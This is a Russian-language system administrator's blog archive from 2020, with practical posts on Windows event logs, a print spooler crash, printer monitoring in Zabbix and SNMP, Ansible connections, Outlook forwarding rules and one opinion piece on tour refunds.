Рекомендуемые к изменению перед установкой AWX переменные в awx/installer/inventory:

admin_password=password01

-это устанавливаемое по умолчанию значение пароля для пользователя admin - вам он потребуется для самого первого входа в систему, поэтому обеспечьте установку чего- то запоминающегося и безопасного!

Tuesday, 28 July 2020

McAfee против Windows Defender.

Всем привет.

Вчера меня порадовал в очередной раз McAfee. Дело было не столько в нем сколько в Windows Defender который никак не хотел сдавать своих позиций после того как у пользователя появился McAfee. Поэтому при очередном обновлении McAfee уже Windows Defender не выдержал и начал кричать "Караул!"

И выглядело это так:


Но когда два антивирусника сражаются за файлы одной системы жди сюрпризы. Поэтому лучше их помирить пока не поздно.

Это похоже на устаревшую сигнатуру MS или устаревшие сигнатуры Defender или устаревшую версию ENS. В любом случае что-то давно не обновлялось. Прежде всего следует обновить сами сигнатуры как ENS так и Windows Defender.

Копнули глубже - оказывается при штатной установке ENS в зависимости от версии ОС, установка ENS не всегда приводит к отключению Defender. Поддержка McAfee считает что нормальным

Обновляемся.

Friday, 24 July 2020

Какие программы запускались в Windows?

Всем привет.

Время от времени нам ставят задачи выяснить какой софт запускался на компьютере пользователя. А Windows такая молодец что следит направо и налево поэтому недостатка в такой информации нету.

Итак вначале можно заглянуть сюда и увидеть что запускал конкретный пользователь:
C:\Users\UserName\Recent
А здесь Windows регистрирует общие запуски:
C:\Windows\Prefetch

Для дополнительного сбора информации пробуем использовать несколько утилит, которые не требуют инсталяции.

IEHistory Viewer хоть и не предназначен для поиска программ запущенных ранее, но может показать обращение ко многим файлам, в том числе и ЕХЕ, в системе. Достаточно изменить фильтр типов на "file" или "mk". Увы, но утилита не работает корректно в Windows 10.



ExecutedProgramsList - маленькая утилита, которая может отобразить список программ и пакетных файлов, которые ранее были запущенны в вашей системе. Автор программы известный программист Nir Sofer, который написал огромное количество бесплатных программ – ссылки на их названия будут давать параллельно по тексту.

Monday, 20 July 2020

Мониторинг журналов Windows на лету.

Всем привет.

Как уже говорилось, для доступа к событиям Windows из командной строки нужно использовать команду wevtutil. Хотя эта команда универсальна, она не имеет таких функций, как tail, которые можно задействовать для извлечения новых поступающих записей. Но выход есть - использовать простой сценарий bash, который может предоставить такую же функциональность. Пример ниже.

#!/bin/bash -
#
# Описание:
# Выполнение функции наподобие tail для журнала Windows
#
# Использование: ./wintail.sh

WINLOG="Application"
LASTLOG=$(wevtutil qe "$WINLOG" //c:1 //rd:true //f:text)

while true
do
      CURRENTLOG=$(wevtutil qe "$WINLOG" //c:1 //rd:true //f:text)
      if [[ "$CURRENTLOG" != "$LASTLOG" ]]
      then
            echo "$CURRENTLOG"
            echo "----------------------------------"
            LASTLOG="$CURRENTLOG"
      fi
done

Переменная WINLOG определяет журнал Windows, который вы хотите отслеживать. Для получения списка журналов, доступных в системе в настоящее время, можете использовать команду wevtutil el.

Далее для запроса указанного файла журнала выполняется команда wevtutil. Параметр c:1 возвращает только одну запись журнала. Параметр rd:true позволяет команде считать самую последнюю запись журнала. Наконец, f:text возвращает результат в виде обычного текста, а не в формате XML, что позволяет легко читать результат с экрана.

Friday, 17 July 2020

Зависание spoolsv.exe с HP LaserJet 1020.

Всем привет.

Проблема с зависанием Диспетчера печати spoolsv.exe Windows 10 на принтере HP LaserJet 1020 известна давно. Как и методы ее решения. На днях я поймал ее лично дважды поэтому набросаю свой метод решения. Ибо то что я находил в сети на мой взгляд либо до следующего сбоя, либо по методу "сносим все". 

Итак очередная попытка печати на HP LaserJet 1020 приводит к сбою (полной оcтановке службы) диспетчера печати. В журнале Application при этом фиксируется имя сбойного модуля ZSR.dll.

Имя журнала:   Application
Источник:      Application Error
Дата:          15.07.2020 15:42:39
Код события:   1000
Категория задачи:(100)
Уровень:       Ошибка
Ключевые слова:Классический
Пользователь:  Н/Д
Компьютер:     STACKY.forza.com
Описание:
Имя сбойного приложения: spoolsv.exe, версия: 10.0.18362.900, метка времени: 0xd44175be
Имя сбойного модуля: ZSR.dll, версия: 6.20.1625.0, метка времени: 0x462fe8cf
Код исключения: 0xc0000005
Смещение ошибки: 0x000000000002b54c
Идентификатор сбойного процесса: 0x44c
Время запуска сбойного приложения: 0x01d65aa55bec6174
Путь сбойного приложения: C:\WINDOWS\System32\spoolsv.exe
Путь сбойного модуля: C:\WINDOWS\system32\spool\DRIVERS\x64\3\ZSR.dll
Идентификатор отчета: 72ea1dfd-a8ea-49af-b1d6-4b914e6d7f41

Раз диспетчер печати остановлен то печать невозможна в принципе на любой принтер. До следующего перезапуска службы. 

Модуль C:\WINDOWS\system32\spool\DRIVERS\x64\3\ZSR.dll является частью пакета драйверов для  HP LaserJet 1020. Поэтому снести и поставить его повторно не решает  проблему. Удалить этот файл? Тогда при очередной попытке печати принтер пожалуется на его отсутствие и добавит его еще раз. Не выход.

Тогда я сделал заглушку - положил вместо оригинального пустой файл ZSR.dll с атрибутом "только для чтения". Запускаем службу. Все, сбойного кода нет и диспетчер печати spoolsv.exe больше не падает.

Успехов.

Tuesday, 14 July 2020

SNMP Discovery сканер.

Всем привет.

Выбирая средства мониторинга принтеров по SNMP случайно набрел на программное чудо по названием PrintStore.

Оговорюсь сразу что я ни коей мере не рекламирую сей программный продукт, как сделано здесь, это лишь прелюдия к другой софтине того же автора (или фирмы).

В двух словах - программе PrintStore позволяет автоматизировать учет и мониторинг принтеров, МФУ, факсов и прочей техники в офисе. Существует бесплатная версия с ограничениями по количеству устройств в учете (100) и мониторинге (5) и платная, с лицензиями в зависимости от количества техники в мониторинге.

Из основных возможностей программы мне были интересны только две:

-автоматический поиск техники в сети на основе внутренней базы производителей и моделей. При этом вы и сами можете вручную добавить новую технику.

-автоматический мониторинг счетчиков принтеров по snmp с сохранением данных в базу программы. В идеале вы сканируете сеть, программа находит принтеры и опрашивает их по snmp. Далее вы добавляете найденные принтеры в систему и начинаете с ними работать.

Почему только эти? Потому что исходя из них я нашел на сайте производителя бесплатный сканер "SNMP Discovery". В целом, у сканера есть все необходимое для мониторинга принтеров и состояния катриджей к ним. Плюс, готовая база данных оборудования с картинками и с OID-ми. В принципе, вы можете добавить в эту программу учет любой техники. Просто базу данных к ней вам придется заполнять или импортировать самим. 


Что следует при этом учесть? "SNMP Discovery" не сопровождается и не развивается. Тем не менее она вполне функциональна для чтобы отсканировать вашу сеть. К моему сожалению SNMP-сканер заточен на community по умолчанию, которое обычно "public". Т.е. если в вашей сети Get-community другое то вам придется принтера добавлять вручную и потом на каждом из них в свойствах менять это значение. Если их десяток это не проблема, если их сотни то печаль - можно, конечно, изменить ваше community на "public", а после скана вернуть на свое. Тогда не будет работать мониторинг. В любом случае у программы отличная справка, разобраться можно.


В плане безопасности вашей сети вам будет в тему познакомиться с колонкой "Access", где вы увидите какие из ваших принтеров имеют полный доступ по SNMP, т.е. и на чтение параметров, и на управление. Будет повод задуматься.)

Успехов.

Friday, 10 July 2020

Ansible и его соединения.

Всем привет.

Вы знаете Ansible  как одну из систем управления конфигурациями (оркестратор).

Особенность Ansible в наличии управляющего сервера (master), с которого отправляются команды или наборы инструкций (playbooks) на удаленные хосты посредством протокола SSH, или HTTPS.

Ansible решает следующие задачи:

  • правильная и быстрая настройка серверов до нужной конфигурации;
  • управление развертыванием облачных серверов (через API, с помощью Docker);
  • установка и обновление приложений;
  • координация звеньев инфраструктуры для выполнения развертываний;
  • централизованный сбор логов.

Ansible не требует установки на удаленные хосты клиента, так как подключается к ним по протоколу SSH за исключением настройки службы WinRM где подключение идет по HTTPS.

Но хватит теории. Волею случая мне довелось проверить все возможности соединения с помощью Ansible. В моем тесте участвовали:

  • Homediver, Desktop Windows 10
  • ec2-54-197-120-211.compute-1.amazonaws.com, AWS MS Server 2019
  • ec2-54-88-28-8.compute-1.amazonaws.com, AWS Ubuntu
  • appliance, VirtualBox CentOS 8
  • Ansible master, VirtualBox Debian 9


Thursday, 9 July 2020

Переход на Zabbix версии 4.4.6.

Всем привет.

Недавно мне довелось переносить Zabbix с версии 3.4.11 на 4.4.6. Несмотря на то что в сети есть инструкции что такой апдейт возможен, у меня он не сработал. Не было ошибок, но и обновление не состоялось. Поэтому было принято решение пойти по более длинному пути, а именно поднимать новый Zabbix сервер рядом. Методом проб и ошибок мы пришли к следующему алгоритму действий на новом сервере.

Создать заново:
Templates of groups
Templates of hosts

Создать заново:
General/Icon mapping
General/Regular experssions

Выполнить экспорт со старого сервера и импорт на новый последовательно:
-General/Images/Background
-General/Value mapping
-Templates
-Hosts
-Maps
-Screens

Создать заново:
-Macros
-Groups of users
-Users
-Action: Autoregistration,Discovery,Triggers,Internal
-Discovery rules
-LDAPS

Установить и настроить заново:
-Scripts: mtr, nmap, traceroute.
а так же
External scripts: обычно лежат тут
/usr/lib/zabbix/externalscripts
а так же
Alert Scripts: обычно лежат тут
/usr/lib/zabbix/alertscripts

Установить и настроить заново:
Media types: email, webhooks

Представленный алгоритм ни коим образом не претендует на абсолютную истину - нам была поставлена цель и сроки переезда. Если есть более простые и надежные алгоритмы буду рад замечаниям.

Удачи.

Monday, 6 July 2020

Локальная статистика печати #2.

Всем привет.

Читатель моего блога в тему мониторинга локальной печати предложил обратить внимание на PaperCut Print Logger. Утилита простая и бесплатная. Наверное как раз самое удачное решение если ваша фирма не готова закупать что либо новое в ближайшее время.

Софтинка инсталируется с одного файлика на ПК на котором работает локальный принтер. И становится службой которая работает от системной учетной записи.


А дальше все просто - статистика кто, что и когда печатал ложится в файл журнала. Его можно глянуть в браузере, а можно экспортировать в Excel формат csv. Размещение файла журнала можно в конфигураци перенаправить на общий сетевой ресурс.

Вот и все.

Friday, 3 July 2020

Office 365 и зашифрованный файл.

Всем привет.

Сегодня маленький фокус от Office 365. Совсем маленький, на тему файлов закрытых паролем в Excel или Word. Так вот,  если вам прислали защищенный файл и вы его тут же захотели открыть то получите предупреждение о том что шифрование в облаке не поддерживается.


И предложение открыть файл в классической, т.е. desktop-версии, программе. А это уже зависит от того есть ли она у вас.) Потому как лицензия уровня Е1 предполагает у вас только наличие облачной версии. Ок, допустим у вас есть Office 2016, но я вам предлагаю все равно не соглашаться, а вначале скачать этот файл себе на ПК. Ибо бдительный Office 2016 назадает вам столько вопросов до самого запроса пароля, что вы сами будете не рады.

Успехов.

Wednesday, 1 July 2020

Локальная статистика печати.

Всем привет. 

Zabbix это хорошо, но реалии таковы что в каждой фирме случаются принтера которые имеют USB-подключение, и тем не менее они еще и зашарены как сетевые средства печати для коллег по отделу.

Полагаем что в этом случае у вас тоже существует необходимость централизовано обрабатывать журналы печати с таких принтеров и иметь статистику использования и нагрузки на печатающие устройства.

Решить эту задачу возможно без использования дополнительного ПО, используя встроенные средства управления журналами Windows и PowerShell.

Скрипт получения данных с такого сервера печати находится здесь.

В принципе скрипт ничего особенного не делает кроме выборки событий с кодами ID 307 и ID 805 из журнала событий Windows "Microsoft-Windows-PrintService".

Чтобы скрипт выбирал информацию за определённый период и сохранял её в нужное место, необходимо его немного изменить. В скрипте, необходимо указать параметры даты, в нашем случае, будем выводить информацию за предыдущий день (PreviousDay): 
powershell.exe -command "d:\monitor_printer.ps1 localhost PreviousDay" 

Или предыдущий месяц (PreviousMonth): 
powershell.exe -command "d:\monitor_printer.ps1 localhost PreviousMonth" 

Если стоит задача выводить информацию за предыдущий месяц, или определенный период, необходимо установить соответствующие даты:
powershell.exe -command "d:\monitor_printer.ps1 localhost 06/01/2020 06/29/2020" 

Куда складывать результаты задается в:
$OutputFilenameByPrintJob
$OutputFilenameByUser

Вот такое локальное решение.

Sunday, 21 June 2020

Мониторинг принтера в Zabbix.

Всем привет.

В мониторинге принтеров с помощью Zabbix главное не столько чтобы принтер был на связи  сколько знать сколько было бумаги отпечатано на каждом из них или в каком состоянии картридж. Из коробки в Zabbix-е таких метрик нет, поэтому умельцы их создают сами. 

Мне позавчера попался, в первом приближении поиска, шаблон Template Printer Xerox  который я успешно протестировал на версиях Zabbix 3.4.11 и 4.4.6.

Его внедрение требует выполнения следующих пунктов:
1. Проверяем что у нас установлены компоненты perl, snmp: 
#sudo apt-get install libnet-snmp-perl 
Скачиваем MIBs:
#sudo download-mibs
Перезапускаем сервер zabbix:
#sudo service zabbix-server restart

2. Копируем prtMarkers_discovery.pl на сервер zabbix в папку со внешними скриптами zabbix (в настройках сервера параметр ExternalScripts )

3. Правим права и владельца prtMarkers_discovery.pl чтобы zabbix мог запускать его.

4. Пробуем запускать скрипт так:

prtMarkers_discovery1.pl ip.printera 161 public
где ip.printera это IP-адрес вашего принтера.

Вывод должен быть почти таким:

{"data":[{"{#MARKER_INDEX}":"6","{#MARKER_DESCR}":"Сборник отраб. тонера, WorkCentre 6605DN, PN#108R01124","{#MARKER_TAGS}":",Сборник отраб. тонера, WorkCentre 6605DN, PN#108R01124,Type:4,"}]}

Если будут ошибки - работаем над их исправлением. 
Если все ок, то еще раз перезапускаем сервер zabbix:
#sudo service zabbix-server restart.

5. Создаем 2 преобразования значений (данные берем из файла value mapping.txt)

С надеждой на лучший вариант.

Всем привет.

Честно говоря, впечатлен стараниями властей Турции вернуть себе туристов на сезон 2020. Так держать!

Но я о перспективах в других странах исходя из конкретного случая. Турист оплатил полностью свой тур с отелем и перелетом. Тур не состоялся по причине введения карантина. Тур-оператор обещает перебронировать его, пока без доплаты, на даты, когда будет открыто авиа-сообщение. 

Дальнейшее развитие событий я вижу так.

Вариант первый, оптимистический, почти не реальный - наступил момент, вам, без доплаты, забронировали новые даты тура. Вы полетели и с соблюдением адекватных норм карантина получили отдых. Никакой обсервации про прилету. Вы всем довольны и с удовольствием полетите туда еще раз при первой же возможности.

Вариант второй, почти реальный - наступил момент, и вам, с небольшой доплатой за сезон, забронировали новые даты тура. Вы согласились (лучше доплатить чем потерять все), полетели и с соблюдением адекватных норм карантина получили отдых. Похоже на 1-й вариант.

Вариант третий, вполне реальный - наступил момент, и вам, с небольшой доплатой за сезон, забронировали новые даты тура. Вы согласились (лучше доплатить чем потерять все), и полетели. По прилету вам устроили двухнедельную обсервацию. Вполне возможно что за ваш счет. Находиться две недели в обсервации в чужой стране ради недели отдыха выглядит глупо, но такие идеи уже звучат. Вы как минимум будете всем недовольны и вряд ли полетите туда еще раз. Прощай отель, прощай страна.

Вариант четвертый, пессимистический - момент наступил, но авиа-перевозчик потребовал полную оплату еще раз. Говорят от авиа-кампании этого вполне можно ожидать. Вы в шпагате, с одной стороны это почти половина стоимости тура, с другой стороны отель вам точно деньги не вернет, потому что у него отношения не с вами, а с тур-оператором. Также, вполне вероятно, что и тур-оператор себя прикроет ссылкой в договоре на форс-мажор. Вывод - прощай отель, страна и тур-оператор. Всем прощай.

Кстати к последнему варианту - сейчас много знатоков вещают что деньги за тур вернуть весьма проблематично потому что тур-бизнес так сложно устроен что средства уже и там и там... В итоге все сводится к тому что ваши деньги вам не вернут ни при каких обстоятельствах. Так и говорите, к чему эти бла-бла-бла. Вас же не интересует как турист  их зарабатывает, почему его должны интересовать хитросплетения вашего тур-бизнеса. Для него существует ваша услуга, за которую он заплатил, но не получил.

С надеждой на лучший вариант.





Saturday, 20 June 2020

Правило переадресации почты Outlook.

Всем привет.

Время от времени пользователю необходимо включать переадресацию своей корпоративной почты на другого пользователя. Отпуск, по болезни, командировка, прочее. Или, например, главбух желает чтобы с ее входящими ознакамливался заместитель не вставая с рабочего места. Включить такую переадресацию можно двумя способами.

Первый способ - можно поручить это админу почтового сервера Exchange. Делается это в функциях почтового ящика профиля пользователя. Недостатком такого переключения есть отсутствие диапазона дат периода когда такая переадресация должна работать. Можно включить либо на другого пользователя либо на группу пользователей (такая группа распространения должна быть создана заранее в AD).


Второй способ - пользователь сам включает правило переадресации для своей почты в клиенте Outlook. Ему, разумеется, надо быть внимательным при выборе критериев для такого правила. Можно включить либо на другого пользователя либо на группу пользователей с соблюдением диапазона дат. А можно схитрить и добавить критерий перенаправления(надо проверять!) на еще одного пользователя, если группа не существует.


Если пользователь создавал правила в web-интерфейсе клиента Outlook, то в десктопном варианте он получит сообщение где ему надо будет сделать выбор - оставить правила на web(сервер) или desktop(клиент).


И не забывайте делать экспорт правил если их у вас несколько.
Успехов.

Версия на печать

Популярное